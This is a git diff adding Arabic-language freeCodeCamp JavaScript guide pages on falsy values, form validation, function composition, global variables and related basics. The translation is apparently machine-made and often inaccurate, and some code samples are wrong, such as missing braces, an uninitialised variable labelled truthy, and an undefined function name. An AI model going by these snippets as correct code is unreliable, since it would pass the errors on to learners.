+ <ul> 
+ ${cities.map(city=>`<li>I lived in ${city.name} in the year ${city.year}</li>`).join('')} 
+ </ul>`; 
+`` 
+
+هنا يقوم عامل التشغيل بعد وظيفة الخريطة بإزالة الفواصل الإضافية التي تتم إضافتها بعد كل li.
+
+## إذا البيانات والوظائف
+
+يمكننا أيضًا استخدام عبارات If داخل سلاسل القالب.
+
+ ``const data = {name: 'John', city: 'London', birthyear: 1900}; 
+ const markup = `<div>${data.name} lives in ${data.city}. ${data.birthyear ? `<div>He was born in the year ${data.birthyear}</div>`:''}</div>`; 
+`` 
+
+في المثال أعلاه ، إذا تم تعريف الميلاد ، فحينئذٍ يتم إنشاء محتويات "ولد في السنة" ، وإلا لن يكون هناك قسم تم إنشاؤه.
+
+يمكننا أيضا استدعاء وظائف داخل سلاسل القالب.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/falsy-values/index.md b/client/src/guide/arabic/javascript/falsy-values/index.md
new file mode 100644
index 0000000000..5a32a95f87
--- /dev/null
+++ b/client/src/guide/arabic/javascript/falsy-values/index.md
@@ -0,0 +1,69 @@
+---
+title: Falsy Values
+localeTitle: القيم الفارسية
+---
+## وصف
+
+قيمة الخطأ هي التي يتم تقييمها على FALSE ، على سبيل المثال عند التحقق من متغير. هناك ستة قيم زائفة فقط في JavaScript: `undefined` ، `null` ، `NaN` ، `0` ، `""` (سلسلة فارغة) ، و `false` بالطبع.
+
+## التحقق من وجود قيم كاذبة على المتغيرات
+
+من الممكن التحقق من وجود قيمة كاذبة في متغير مع شرط بسيط:
+
+ `if (!variable) { 
+  // When the variable has a falsy value the condition is true. 
+ } 
+` 
+
+## أمثلة عامة
+
+ `var string = ""; // <-- falsy 
+ 
+ var filledString = "some string in here"; // <-- truthy 
+ 
+ var zero = 0; // <-- falsy 
+ 
+ var numberGreaterThanZero // <-- truthy 
+ 
+ var emptyArray = []; // <-- truthy, we'll explore more about this next 
+ 
+ var emptyObject = {}; // <-- truthy 
+` 
+
+## المرح مع المصفوفات
+
+ `if ([] == false) // <-- truthy, will run code in if-block 
+ 
+ if ([]) // <-- truthy, will also run code in if-block 
+ 
+ if ([] == true) // <-- falsy, will NOT run code in if-block 
+ 
+ if (![]) // <-- falsy, will also NOT run code in if-block 
+` 
+
+## مذكرة قانونية
+
+كن على دراية بنوع البيانات عند تقييم قيمة في سياق منطقي. إذا كان من المفترض أن يكون نوع البيانات من القيمة _رقمًا_ ، فيمكن أن يؤدي الإفراط الصادق / الخاطئ إلى نتيجة غير متوقعة:
+
+ `const match = { teamA: 0, teamB: 1 } 
+ if (match.teamA) 
+  // The following won't run due to the falsy evaluation 
+  console.log('Team A: ' + match.teamA); 
+ } 
+` 
+
+بديل لحالة الاستخدام أعلاه هو تقييم القيمة باستخدام `typeof` :
+
+ `const match = { teamA: 0, teamB: 1 } 
+ if (typeof match.teamA === 'number') 
+  console.log('Team A: ' + match.teamA); 
+ } 
+` 
+
+## معلومات اكثر
+
+*   **الصدق** [بلوق وظيفة - Truthy & Falsey](http://james.padolsey.com/javascript/truthy-falsey/)
+    
+*   [فلسي | مسرد MDN](https://developer.mozilla.org/en-US/docs/Glossary/Falsy)
+    
+*   [Truthy and Falsy: When All is Not Equal in JavaScript](https://www.sitepoint.com/javascript-truthy-falsy/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/form-validation/index.md b/client/src/guide/arabic/javascript/form-validation/index.md
new file mode 100644
index 0000000000..e8bdd1359d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/form-validation/index.md
@@ -0,0 +1,176 @@
+---
+title: Form Validation
+localeTitle: التحقق من صحة النموذج
+---
+## التحقق من صحة النموذج
+
+التحقق من صحة النموذج المستخدم عادةً في الخادم ، بعد أن يقوم العميل بإدخال جميع البيانات الضرورية ثم الضغط على زر "إرسال". إذا كانت البيانات كان العميل غير صحيح أو كان في عداد المفقودين ببساطة ، سيكون على الخادم إرسال جميع البيانات مرة أخرى إلى العميل وطلب أن يكون النموذج إعادة إرسالها مع المعلومات الصحيحة. كانت هذه عملية طويلة تستخدم لوضع الكثير من العبء على الخادم.
+
+تقدم JavaScript طريقة للتحقق من صحة بيانات النموذج على كمبيوتر العميل قبل إرسالها إلى خادم الويب. التحقق من صحة النموذج بشكل عام يؤدي اثنين المهام:
+
+### التحقق الأساسي
+
+بادئ ذي بدء ، يجب التحقق من النموذج للتأكد من ملء جميع الحقول الإلزامية. سيتطلب الأمر مجرد حلقة عبر كل حقل في النموذج و تحقق من البيانات.
+
+### التحقق من صحة تنسيق البيانات
+
+ثانيًا ، يجب التحقق من البيانات التي تم إدخالها للنموذج والقيمة الصحيحة. يجب أن تحتوي شفرتك على المنطق المناسب لاختبار صحة البيانات.
+
+#### مثال:
+
+ `
+<html> 
+ 
+   <head> 
+      <title>Form Validation</title> 
+ 
+      <script type="text/javascript"> 
+         <!-- 
+            // Form validation code will come here. 
+         //--> 
+      </script> 
+ 
+   </head> 
+ 
+   <body> 
+      <form action="/cgi-bin/test.cgi" name="myForm" onsubmit="return(validate());"> 
+         <table cellspacing="2" cellpadding="2" border="1"> 
+ 
+            <tr> 
+               <td align="right">Name</td> 
+               <td><input type="text" name="Name" /></td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right">EMail</td> 
+               <td><input type="text" name="EMail" /></td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right">Zip Code</td> 
+               <td><input type="text" name="Zip" /></td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right">Country</td> 
+               <td> 
+                  <select name="Country"> 
+                     <option value="-1" selected>[choose yours]</option> 
+                     <option value="1">USA</option> 
+                     <option value="2">UK</option> 
+                     <option value="3">INDIA</option> 
+                  </select> 
+               </td> 
+            </tr> 
+ 
+            <tr> 
+               <td align="right"></td> 
+               <td><input type="submit" value="Submit" /></td> 
+            </tr> 
+ 
+         </table> 
+      </form> 
+ 
+   </body> 
+ </html> 
+` 
+
+#### انتاج |
+
+انتبه [هنا](https://liveweave.com/LP9eOP)
+
+### التحقق من صحة النموذج الأساسي
+
+دعونا أولا نرى كيف نفعل التحقق من صحة النموذج الأساسي. في النموذج أعلاه ، نحن ندعو بالتحقق () للتحقق من صحة البيانات عند حدوث حدث عند الإرسال. ال التعليمة البرمجية التالية يعرض تنفيذ هذه الدالة `validate()` .
+
+ `
+<script type="text/javascript"> 
+   // Form validation code will come here. 
+   function validate() 
+      { 
+ 
+         if( document.myForm.Name.value == "" ) 
+         { 
+            alert( "Please provide your name!" ); 
+            document.myForm.Name.focus() ; 
+            return false; 
+         } 
+ 
+         if( document.myForm.EMail.value == "" ) 
+         { 
+            alert( "Please provide your Email!" ); 
+            document.myForm.EMail.focus() ; 
+            return false; 
+         } 
+ 
+         if( document.myForm.Zip.value == "" || 
+         isNaN( document.myForm.Zip.value ) || 
+         document.myForm.Zip.value.length != 5 ) 
+         { 
+            alert( "Please provide a zip in the format #####." ); 
+            document.myForm.Zip.focus() ; 
+            return false; 
+         } 
+ 
+         if( document.myForm.Country.value == "-1" ) 
+         { 
+            alert( "Please provide your country!" ); 
+            return false; 
+         } 
+         return( true ); 
+      } 
+ </script> 
+` 
+
+#### انتاج |
+
+انتبه [هنا](https://liveweave.com/pCPTnP)
+
+### التحقق من صحة تنسيق البيانات
+
+سنرى الآن كيف يمكننا التحقق من صحة بيانات النماذج المدخلة قبل إرسالها إلى خادم الويب.
+
+يوضح المثال التالي كيفية التحقق من صحة عنوان البريد الإلكتروني الذي تم إدخاله. يجب أن يحتوي عنوان البريد الإلكتروني على علامة "@" ونقطة (.) على الأقل. يجب أيضًا أن يكون "@" لا يكون الحرف الأول لعنوان البريد الإلكتروني ، ويجب أن تكون النقطة الأخيرة على الأقل حرفًا واحدًا بعد علامة "@".
+
+#### مثال:
+
+ `
+<script type="text/javascript"> 
+    function validateEmail() 
+      { 
+         var emailID = document.myForm.EMail.value; 
+         atpos = emailID.indexOf("@"); 
+         dotpos = emailID.lastIndexOf("."); 
+ 
+         if (atpos < 1 || ( dotpos - atpos < 2 )) 
+         { 
+            alert("Please enter correct email ID") 
+            document.myForm.EMail.focus() ; 
+            return false; 
+         } 
+         return( true ); 
+      } 
+ </script> 
+` 
+
+#### انتاج |
+
+انتبه [هنا](https://liveweave.com/nznVs6)
+
+### قيود نموذج HTML5
+
+بعض القيود HTML5 تستخدم عادة ل `<input>` هي `type` السمة (على سبيل المثال `type="password"` )، `maxlength` ، `required` و `disabled` . أقل القيد شائع الاستخدام هو `pattern` attrinute الذي يأخذ تعبير JavaScript العادي.
+
+### مكتبات التحقق
+
+تتضمن أمثلة مكتبات التحقق من الصحة:
+
+*   [Validate.js](http://rickharrison.github.com/validate.js/)
+*   [التحقق من صحة](http://bassistance.de/jquery-plugins/jquery-plugin-validation/)
+*   [Valid8](http://unwrongest.com/projects/valid8/)
+
+### معلومات اكثر
+
+*   [نموذج التحقق من صحة البيانات MDN](https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Form_validation)
+*   [التحقق من القيود | MDN](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation)
+*   [Tutorialspoint](https://www.tutorialspoint.com/javascript/javascript_form_validations.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/function-composition/index.md b/client/src/guide/arabic/javascript/function-composition/index.md
new file mode 100644
index 0000000000..75e2ba1df2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/function-composition/index.md
@@ -0,0 +1,60 @@
+---
+title: Function Composition
+localeTitle: تكوين وظيفة
+---
## تكوين وظيفة
+
+تكوين وظيفة هو تطبيق pointwise وظيفة واحدة إلى نتيجة أخرى. يقوم المطورون بذلك بطريقة يدوية كل يوم عندما تعمل وظائف العش:
+
+ `compose = (fn1, fn2) => value => fn2(fn1(value)) 
+` 
+
+لكن هذا صعب القراءة. هناك طريقة أفضل باستخدام تكوين الدالة. بدلا من قراءتها من الداخل إلى الخارج:
+
+ `add2AndSquare = (n) => square(add2(n)) 
+` 
+
+يمكننا استخدام وظيفة ترتيب أعلى لسلسلتها بطريقة مرتبة.
+
+ `add2AndSquare = compose( add2, square) 
+` 
+
+التنفيذ البسيط للإنشاء سيكون:
+
+ `compose = (f1, f2) => value => f2( f1(value) ); 
+` 
+
+للحصول على مزيد من المرونة ، يمكننا استخدام وظيفة reduRight:
+
+ `compose = (...fns) => (initialVal) => fns.reduceRight((val, fn) => fn(val), initialVal); 
+` 
+
+تتيح القراءة المكونة من اليسار إلى اليمين تسلسلًا واضحًا للوظائف ذات الترتيب الأعلى. أمثلة العالم الحقيقي تضيف المصادقة ، وقطع الأشجار وخصائص السياق. إنها تقنية تمكن إعادة الاستخدام على أعلى مستوى. فيما يلي بعض الأمثلة على كيفية استخدامه:
+
+ `// example 
+ const add2        = (n) => n + 2; 
+ const times2      = (n) => n * 2; 
+ const times2add2  = compose(add2, times2); 
+ const add6        = compose(add2, add2, add2); 
+ 
+ times2add2(2);  // 6 
+ add2tiems2(2);  // 8 
+ add6(2);        // 8 
+` 
+
+قد تظن أن هذه برمجة وظيفية متقدمة وليست ذات صلة ببرمجة الواجهة الأمامية. ولكنها مفيدة أيضًا في تطبيقات الصفحة الواحدة. على سبيل المثال ، يمكنك إضافة سلوك إلى مكون React باستخدام مكونات ترتيب أعلى:
+
+ `function logProps(InputComponent) { 
+  InputComponent.prototype.componentWillReceiveProps = function(nextProps) { 
+    console.log('Current props: ', this.props); 
+    console.log('Next props: ', nextProps); 
+  }; 
+  return InputComponent; 
+ } 
+ 
+ // EnhancedComponent will log whenever props are received 
+ const EnhancedComponent = logProps(InputComponent); 
+` 
+
+في تركيبة وظيفة الخلاصة تمكن reusability من وظائف على مستوى عال جدا. إذا تم تنظيم الوظائف بشكل جيد ، فإنها تمكن المطورين من خلق سلوك جديد قائم على السلوك القائم.
+
+كما أنه يزيد من سهولة قراءة التطبيقات. بدلاً من وظائف التعشيش يمكنك مسح وظائف السلسلة وإنشاء وظائف ترتيب أعلى بأسماء ذات معنى.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/function-invocation/index.md b/client/src/guide/arabic/javascript/function-invocation/index.md
new file mode 100644
index 0000000000..4eeec3df65
--- /dev/null
+++ b/client/src/guide/arabic/javascript/function-invocation/index.md
@@ -0,0 +1,68 @@
+---
+title: Function Invocation
+localeTitle: استدعاء وظيفة
+---
+## استدعاء وظيفة
+
+يتم تنفيذ الشفرة داخل إحدى الوظائف عندما يتم استدعاء الدالة. من الشائع استخدام المصطلح "استدعاء دالة" بدلاً من "استدعاء دالة".
+
+يجب أن تكون الوظائف في النطاق عندما يتم استدعاؤها. نطاق الوظيفة هو الوظيفة التي يتم الإعلان عنها ، أو البرنامج بالكامل إذا تم الإعلان عنه في المستوى الأعلى.
+
+ `function myFunction(a, b) { 
+  return a * b; 
+ } 
+ myFunction(10, 2);           // Function invocation, will return 20 
+ 
+ //optional parameters (es6 only) 
+ //allow to set optional parameters 
+ 
+ function myFunction(a, b = 10) { 
+  return a * b; 
+ } 
+ myFunction(1);           // Function invocation, will return 10 
+ myFunction(1,5);           // Function invocation, will return 5 
+` 
+
+في مثال التعليمة البرمجية ، يكون a و b هما معلمات الدالة التي تحتوي على القيمتين 10 و 2 ، وهما الوسيطات المستخدمة في استدعاء الدالة.
+
+### استدعاء وظيفة كوسيلة
+
+في JavaScript ، يمكنك تحديد الدالات كطرق كائن.
+
+المثال التالي يقوم بإنشاء كائن ( `myObject` ) ، مع خاصيتين ( `firstName` و `lastName` ) ، وطريقة ( `fullName` ):
+
+ `var myObject = { 
+  firstName:"John", 
+  lastName: "Doe", 
+  fullName: function () { 
+    return this.firstName + " " + this.lastName; 
+  } 
+ } 
+ myObject.fullName();         // Function invoked as a method, will return "John Doe" 
+` 
+
+### وظائف السهم
+
+في الإصدار الأحدث من Javascript ، يمكنك أيضًا تقصير البنية باستخدام Arrow Functions. يوضح ما يلي وظيفتين. تتم كتابة واحدة في النموذج القياسي ، يتم كتابة واحد كدالة سهم. ضع في اعتبارك أن وظائف الأسهم لا تملك هذه الخاصة بها أو الحجج أو السوبر أو new.target.
+
+ `//regular function 
+ 
+ function addStuff(args) { 
+   return args + 2; 
+ } 
+ 
+ addStuff(2); 
+ //returns 4 
+ 
+ //arrow function 
+ 
+ var addStuff = (args) => args + 2; 
+ addStuff(2); 
+ //returns 4 
+` 
+
+هذه النسخة المختصرة من وظيفة السهم لها عودة ضمنية حتى لا تحدد بيان إرجاع.
+
+### معلومات اكثر:
+
+*   وثائق الوظيفة: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/functions-list/index.md b/client/src/guide/arabic/javascript/functions-list/index.md
new file mode 100644
index 0000000000..ffab1514f0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/functions-list/index.md
@@ -0,0 +1,61 @@
+---
+title: Functions List
+localeTitle: قائمة الوظائف
+---
+![غير رسمي JS الشعار](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0584980f425bfbbe1e14001557ff4f5bab8f61ec.jpg)
+
+جافا سكريبت (JS) هي لغة برمجة خفيفة الوزن ومفسرة مع وظائف من الدرجة الأولى. معظم المعروفة باسم لغة البرمجة النصية لصفحات الويب ، والعديد من البيئات غير المتصفح أيضا استخدامه ، مثل [node.js](https://nodejs.org) و [Apache CouchDB](http://couchdb.apache.org/) . JS هي لغة نموذجية مبنية على نماذج نموذجية متعددة ، وتدعم لغة البرمجة الديناميكية ، وتدعم الأنماط الموجهة للكائنات ، والحتمية ، والتصريحية (مثل البرمجة الوظيفية).
+
+تعمل JavaScript على جانب العميل من الويب ، والتي يمكن استخدامها لتصميم / برمجة كيفية تصرف صفحات الويب عند وقوع الحدث. جافا سكريبت هي لغة سهلة التعلم ولغة برمجة قوية ، وتستخدم على نطاق واسع للتحكم في سلوك صفحات الويب.
+
+تمثل خدمة [جافا سكريبت لملفات جافا سكريبت في MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript) ميزة كبيرة في التعلم.
+
+لدينا أيضا بعض المقالات الرائعة عن الويكي الخاص بنا:
+
+*   [مزايا وعيوب جافا سكريبت](http://forum.freecodecamp.com/t/advantages-and-disadvantages-of-javascript/14280)
+*   **أنواع بيانات جافا سكريبت:**
+*   [القيم المنطقية](http://forum.freecodecamp.com/t/javascript-boolean/14311)
+*   **سلاسل جافا سكريبت:**
+*   [String.prototype.charAt ()](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)
+*   [String.prototype.charCodeAt ()](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   [String.prototype.concat ()](http://forum.freecodecamp.com/t/javascript-string-prototype-concat/15935)
+*   [String.prototype.indexOf ()](https://forum.freecodecamp.org/t/javascript-string-prototype-indexof/15936)
+*   [String.prototype.lastIndexOf ()](http://forum.freecodecamp.com/t/string-prototype-lastindexof/15939)
+*   [String.prototype.match ()](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+*   [String.prototype.replace ()](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+*   [String.prototype.slice ()](http://forum.freecodecamp.com/t/javascript-string-prototype-slice/15943)
+*   [String.prototype.split ()](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [String.prototype.substr ()](http://forum.freecodecamp.com/t/javascript-string-prototype-substr/15945)
+*   [String.prototype.substring ()](http://forum.freecodecamp.com/t/javascript-string-prototype-substring/15947)
+*   [String.prototype.toLowerCase ()](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [String.prototype.toUpperCase ()](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)
+*   **مصفوفات جافا سكريبت:**
+*   [Array.isArray ()](http://forum.freecodecamp.com/t/javascript-array-isarray/14284)
+*   [Array.prototype.concat ()](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [Array.prototype.every ()](http://forum.freecodecamp.com/t/javascript-array-prototype-every/14287)
+*   [Array.prototype.filter ()](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+*   [Array.prototype.forEach ()](http://forum.freecodecamp.com/t/javascript-array-prototype-foreach/14290)
+*   [Array.prototype.indexOf ()](http://forum.freecodecamp.com/t/javascript-array-prototype-indexof/14291)
+*   [Array.prototype.join ()](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+*   [Array.prototype.lastIndexOf ()](http://forum.freecodecamp.com/t/javascript-array-prototype-lastindexof/14293)
+*   [Array.prototype.map ()](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+*   [Array.prototype.pop ()](http://forum.freecodecamp.com/t/javascript-array-prototype-pop/14296)
+*   [Array.prototype.push ()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [Array.prototype.reduce ()](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [Array.prototype.reverse ()](http://forum.freecodecamp.com/t/javascript-array-prototype-reverse/14300)
+*   [Array.prototype.shift ()](http://forum.freecodecamp.com/t/javascript-array-prototype-shift/14301)
+*   [Array.prototype.slice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+*   [Array.prototype.some ()](http://forum.freecodecamp.com/t/javascript-array-prototype-some/14304)
+*   [Array.prototype.sort ()](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+*   [Array.prototype.splice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-splice/14307)
+*   [Array.prototype.toString ()](http://forum.freecodecamp.com/t/javascript-array-prototype-tostring/14308)
+*   [Array.prototype.unshift ()](http://forum.freecodecamp.com/t/javascript-array-prototype-unshift/14309)
+*   **JavaScript Loops:**
+*   [الحلقات](http://forum.freecodecamp.com/t/javascript-loops/14681)
+*   [حائط اللوب](http://forum.freecodecamp.com/t/javascript-while-loop/14668)
+*   [هل في حين حلقة](http://forum.freecodecamp.com/t/javascript-do-while-loop/14662)
+*   [لحلقة](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [لفي حلقة](http://forum.freecodecamp.com/t/javascript-for-in-loop/14665)
+*   [من أجل حلقة](http://forum.freecodecamp.com/t/javascript-for-of-loop/14671)
+
+الخروج مقالاتنا الأخرى على جافا سكريبت: [https://www.freecodecamp.com/wiki](https://www.freecodecamp.com/wiki) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/get-timestamp/index.md b/client/src/guide/arabic/javascript/get-timestamp/index.md
new file mode 100644
index 0000000000..ab837e3232
--- /dev/null
+++ b/client/src/guide/arabic/javascript/get-timestamp/index.md
@@ -0,0 +1,9 @@
+---
+title: Get Timestamp
+localeTitle: احصل على الطابع الزمني
+---
+يمكنك استخدام `Date.now()` للحصول على الطابع الزمني الحالي بالمللي ثانية.
+
+يمكنك بسهولة تحويل الطابع الزمني إلى ثوانٍ مثل: `Math.floor(Date.now() / 1000)`
+
+إذا كان المستعرض الخاص بك لا يدعم `Date.now()` ، يمكنك استخدام `new Date().getTime()` للحصول على الطابع الزمني بالمللي ثانية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/global-object/index.md b/client/src/guide/arabic/javascript/global-object/index.md
new file mode 100644
index 0000000000..113bd78c64
--- /dev/null
+++ b/client/src/guide/arabic/javascript/global-object/index.md
@@ -0,0 +1,42 @@
+---
+title: Global Object
+localeTitle: كائن عالمي
+---
+الكائن العام هو كائن يتم تهيئته بواسطة مترجم JavaScript قبل تنفيذ التعليمة البرمجية. يتم تخزين كافة المتغيرات التي يتم تعريفها على النطاق العالمي (راجع: [Scopes](http://forum.freecodecamp.com/t/scopes-in-javascript/14696) ) في الكائن العمومي كخصائص.
+
+في بيئة نود.جي إس، الكائن العالمي يمكن الوصول إليها من قبل `global` الكلمة، بينما في نافذة المتصفح يمكن الوصول إليها من قبل `window` الكلمة. تشير `this` الكلمة الأساسية أيضًا إلى الكائن العمومي عند استخدامه في النطاق العالمي. يرجى ملاحظة أن استخدام `this` في النطاق العالمي سيعرض `undefined` إذا تم تمكين `strict mode` .
+
+فمثلا:
+
+ `// global scope 
+ var foo = "bar"; 
+ 
+ console.log(global.foo); // bar (in a Node environment) 
+ console.log(window.foo); // bar (in a browser window) 
+ console.log(this.foo); // bar (if strict mode is disabled) 
+` 
+
+من المهم هنا التمييز بين النطاقات المحلية إلى الدوال والنطاق العالمي: فالعنصر العام يحتوي فقط على المتغيرات التي تم الإعلان عنها على النطاق العالمي ، وليس النطاقات المحلية للوظائف.
+
+يحتوي الكائن العمومي أيضاً على خصائص `NaN` و `undefined` و `Infinity` و الوظائف التالية:
+
+1.  `decodeURI()`
+2.  `decodeURIComponent()`
+3.  `encodeURI()`
+4.  `encodeURIComponent()`
+5.  `escape()`
+6.  `eval()`
+7.  `GetObject()`
+8.  `isFinite()`
+9.  `isNaN()`
+10.  `parseFloat()`
+11.  `parseInt()`
+12.  `ScriptEngine()`
+13.  `ScriptEngineBuildVersion()`
+14.  `ScriptEngineMajorVersion()`
+15.  `ScriptEngineMinorVersion()`
+16.  `unescape()`
+
+# المراجع
+
+1.  MSDN: [كائن عمومي (Javascript)](https://msdn.microsoft.com/en-us/library/52f50e9t)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/global-variables/index.md b/client/src/guide/arabic/javascript/global-variables/index.md
new file mode 100644
index 0000000000..8db2778219
--- /dev/null
+++ b/client/src/guide/arabic/javascript/global-variables/index.md
@@ -0,0 +1,64 @@
+---
+title: Global Variables
+localeTitle: المتغيرات العالمية
+---
+يتم تعريف المتغيرات العالمية خارج وظيفة لسهولة الوصول في جميع أنحاء البرنامج، في حين يتم تخزين المتغيرات المحلية داخل دالة باستخدام `var` للاستخدام فقط في تلك الوظيفة في [نطاق](https://developer.mozilla.org/en-US/docs/Glossary/Scope) . إذا قمت بتعريف متغير بدون استخدام `var` ، حتى لو كان داخل دالة ، فسيظل ينظر إليه على أنه عالمي:
+
+ `var x = 5; //global 
+ function someThing(y) { 
+ var z = x + y; 
+ console.log(z); 
+ } 
+ 
+ function someThing(y) { 
+ x = 5; //still global! 
+ var z = x + y; 
+ console.log(z); 
+ } 
+ 
+ 
+ function someThing(y) { 
+ var x = 5; //local 
+ var z = x + y; 
+ console.log(z); 
+ } 
+` 
+
+المتغير الشامل هو أيضًا كائن في النطاق الحالي ، مثل نافذة المتصفح:
+
+ `var dog = “Fluffy”; 
+ console.log(dog); //Fluffy; 
+ 
+ var dog = “Fluffy”; 
+ console.log(window.dog); //Fluffy 
+` 
+
+إنها أفضل الممارسات لتقليل المتغيرات العالمية. نظرًا لأنه يمكن الوصول إلى المتغير في أي مكان في البرنامج ، فقد يتسبب ذلك في حدوث سلوك غريب.
+
+المراجع:
+
+*   [var -Javascript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)
+*   [أنت لا تعرف JavaScript: النطاقات والإغلاق](https://github.com/getify/You-Dont-Know-JS/tree/master/scope%20%26%20closures)
+
+معلومات اضافية:
+
+*   [JavaScript Best Practices: Avoid Globals](http://www.w3.org/wiki/JavaScript_best_practices#Avoid_globals)
+
+## \* [ما الفرق بين متغير شامل وإطار window.variable في javascript؟](https://stackoverflow.com/questions/6349232/whats-the-difference-between-a-global-var-and-a-window-variable-in-javascript)
+
+نطاق متغيرات جافا سكريبت إما عالمي أو محلي. يتم الإعلان عن المتغيرات العالمية خارج الوظيفة وقيمتها قابلة للوصول / للتغيير في جميع أنحاء البرنامج.
+
+يجب دائمًا استخدام **var** لإعلام المتغيرات الخاصة بك (لإجراء محليًا) وإلا فسيتم تثبيتها على GLOBALLY
+
+كن حذراً مع المتغيرات العالمية لأنها محفوفة بالمخاطر. معظم الوقت يجب عليك استخدام إغلاق لإعلان المتغيرات الخاصة بك. مثال:
+
+ `    (function(){ 
+      var myVar = true; 
+    })(); 
+` 
+
+#### معلومات اكثر:
+
+*   [JavaScript Best Practices: Avoid Globals](http://www.w3.org/wiki/JavaScript_best_practices#Avoid_globals)
+*   [المتغيرات العالمية سيئة](http://c2.com/cgi/wiki?GlobalVariablesAreBad)
+*   [MDN - المتغيرات العامة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/higher-order-functions/index.md b/client/src/guide/arabic/javascript/higher-order-functions/index.md
new file mode 100644
index 0000000000..56f8020a2d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/higher-order-functions/index.md
@@ -0,0 +1,39 @@
+---
+title: Higher Order Functions
+localeTitle: وظائف من الدرجة العليا
+---
+## وظائف من الدرجة العليا
+
+دالة الترتيب العليا هي أي دالة تقوم بارجاع دالة عند تنفيذها ، تأخذ وظيفة كواحدة أو أكثر من الوسيطات الخاصة بها ، أو كلاهما. إذا كنت قد استخدمت أيًا من طرق `Array` مثل `map` أو `filter` ، أو قمت بتمرير وظيفة رد اتصال إلى jQuery's `$.get` ، فهذا `$.get` أنك قد عملت بالفعل مع وظائف الترتيب العالي.
+
+عندما تستخدم `Array.map` ، فإنك تقدم دالة كوسيطة واحدة فقط ، والتي ينطبق عليها كل عنصر موجود في الصفيف.
+
+ `var arr = [ 1, 2, 3 ]; 
+ 
+ var arrDoubled = arr.map(function(num) { 
+  return num * 2; 
+ }); 
+ 
+ console.log(arrDoubled); // [ 2, 4, 6 ] 
+` 
+
+يمكن لوظائف الترتيب الأعلى أيضًا إرجاع وظيفة. على سبيل المثال ، يمكنك إنشاء دالة تسمى `multiplyBy` تأخذ رقمًا وتقوم بإرجاع وظيفة تضاعف رقمًا آخر تقدمه من خلال الرقم الأول المقدم. يمكنك استخدام هذا الأسلوب لإنشاء وظيفة `multiplyByTwo` لتمريرها إلى `Array.map` . سيعطيك هذا النتيجة نفسها التي رأيتها أعلاه.
+
+ `function multiplyBy(num1) { 
+  return function(num2) { 
+    return num1 * num2; 
+  } 
+ } 
+ 
+ var multiplyByTwo = multiplyBy(2); 
+ 
+ var arr = [ 1, 2, 3 ]; 
+ 
+ var arrDoubled = arr.map(multiplyByTwo); 
+ 
+ console.log(arrDoubled); // [ 2, 4, 6 ] 
+` 
+
+راجع دليل [الإغلاق](https://guide.freecodecamp.org/javascript/closures) للحصول على مزيد من المعلومات حول كيفية `multiplyByTwo` `num1` للإشارة إلى `num1` في المثال أعلاه.
+
+[مزيد من المعلومات حول الإغلاق](https://eloquentjavascript.net/05_higher_order.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/html-dom-getelementbyid-method/index.md b/client/src/guide/arabic/javascript/html-dom-getelementbyid-method/index.md
new file mode 100644
index 0000000000..e356ddb0a8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/html-dom-getelementbyid-method/index.md
@@ -0,0 +1,36 @@
+---
+title: HTML DOM getElementById Method
+localeTitle: HTML DOM getElementById الطريقة
+---
+إرجاع الأسلوب `getElementById()` العنصر الذي يحتوي على سمة معرف بالقيمة المحددة. يستغرقه وسيطة واحدة ، وهي سلسلة حساسة لحالة معرف العنصر الذي تريده.
+
+تعد هذه الطريقة إحدى الطرق الأكثر شيوعًا في HTML DOM ، ويتم استخدامها تقريبًا في كل مرة تريد فيها معالجة عنصر في مستندك أو الحصول على معلومات منه. إليك مثال بسيط على البنية:
+
+**محتوى HTML:**
+
+ `
+<div id="demo"></div> 
+` 
+
+**محتوى جافا سكريبت:**
+
+ `document.getElementById("demo"); // Returns the element with id "demo" 
+` 
+
+إذا كان لديك أكثر من عنصر واحد له نفس قيمة `id` (ممارسة سيئة!) ، فسوف يعرض `getElementById` العنصر الأول الذي تم العثور عليه:
+
+ `
+<div id="demo">First</div> 
+ <div id="demo">Second</div> 
+` 
+
